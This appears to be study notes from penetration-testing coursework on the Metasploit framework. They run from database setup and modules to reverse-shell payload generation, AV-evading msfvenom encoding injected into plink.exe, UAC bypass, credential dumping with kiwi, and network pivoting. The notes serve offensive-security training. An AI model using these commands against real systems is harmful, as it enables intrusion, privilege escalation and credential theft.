commands :

-> sudo systmctl start postgresql
-> sudo systmctl enable postgresql
-> sudo msfdb init
- the basic "service" command display all the results
- the "db_nmap" command has identical syntax to nmap
- To display all Discovered hosts we can issue a "hosts" command
- "services -p 445 "
- We can list the available workspaces with "workspace"
- To create a workspace use : "workspace -a [workspace_name]"
- to switch to another workspace use : "workspace [workspace_name]"
- to delete a workspace use : "workspace -d [workspace_name]"

Auxiliary Modules:
	Provide Functionality like : Protocol enumeration, Port Scanning, Fuzzing, Sniffing, and More
	command : "show auxiliary"
	search command : "search type:auxiliary name:smb"
	common commands : use, info, show options

- we can retrieve information regarding successful login attemps from the database using "creds"

Exploit Modules :
	Contain Exploit code for vulnerable application and services

Metasploit Payload :
	There are two types of Payload :
		1. Non-Staged : this payload is sent in its entirety along with the exploit.
		2. Staged : This payload is sent in two parts :
			1. first smaller part is sent
			2. then the exploit code is sent with the help of smaller part

ex.	windows/shell_reverse_tcp - connect back to attacker and spawn a command shell
ex.	windows/shell/reverse_tcp - connet back to attacker, spawn a shell (staged)

Meterpreter Payload :
	Meterpreter is a multifunctional payload that can be dynamically extended at run time
	It offers capabilities like : file transfer, keylogging and various other methods
	command :
	- sysinfo
	- getuid

	Downloading and uploading of file using meterpreter :

```
        uploading :
        meterpreter > upload /usr/share/windows-resources/binaries/
nc.exe c:\\Users\\offsec\\Desktop

        Downlading :
        meterpreter > download c:\\windows\\system32\\calc.exe /
temp/calc.exe

        Due to shell escaping we have to use 2 backslash

# Executable Payload :
        tool : msfvenom
        Another useful feature of metasploit is the ability to
inject a payload into a existing PE file,
        which may further reduce the chances of AV detection. The
injection is done with "-x" flag,
        Specifying the file to inject into.

ex      msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe
-e x86/shikata_ga_nai -i 9 -x /user/share/
        windows-resources/binaries/plink.exe -o
shell_reverse_msf_encoded_embedded.exe


# Metasploit Exploit Multi Handler :
        This Hanler will work for both staged as well as Non Staged
Payload


# Client Side Attacks :
        kali@kali:-$ msfvenom -l formats

        - Advanced Feature and Transports :
                we can proceed to more advance options using "show
advanced"
                use exploit/multi/handler
                set payload windows/meterpreter/reverse_tcp
                set EnableStageEncoding true
                set stageencoder x86/shikata_ga_nai

        - Transport options to switch between Protocols

# Building your Own MSF Module :

# Post Exploitation With Metasploit :
        1. Core Post-Exploitation Feature
        2. Migrating Process : "migrate [PID]"
        3. Post-Exploitation Modules :
                use exploit/windows/local/
bypassuac_injection_winsxs
                this will only take session
        we can also load extensions directly inside the active
session with the "load" command
```

```
        meterpreter > load powershell

        meterpreter > load kiwi
        meterpreter > getsystem
        meterpreter > creds_msv

# Pivoting With the Metasploit Framework :
        1. First we find the network interface to which the machine
is connected
        use : "ipconfig"

        2. Now the subnet we find is  192.168.0.1/24
        use route add 192.168.0.1/24

        3. route print

        Now we can enumerate this subnet
        we have only configure route from victim to another subnet
but not configure the reverse path

        4. use multi/manage/autoroute
           set session [session_number]
           exploit

        we can also combine route with the server/socks4a module to
configure a SOCKS proxy. this allows
        application outside the metasploit framework to tunnel
through the pivot

        - use auxiliary/server/socks4a
        - set SRVHOST 127.0.0.1
        - exploit -j
        - kali@kali:-$ echo "socks4a 127.0.0.1 1080" >> /etc/
proxychains.conf
        - proxychains rdesktop 192.168.0.111
                this will gives us a GUI of the computer in
internal network of the compromised machine

        ## We can also use port forwarding which will forward a
port to the internal network

        meterpreter > portfwd add -l [listening_port] -p
[forwarding_port] -r [IP-Internal]

        kali@kali:-$ rdesktop 127.0.0.1


# Metasploit Automation :
```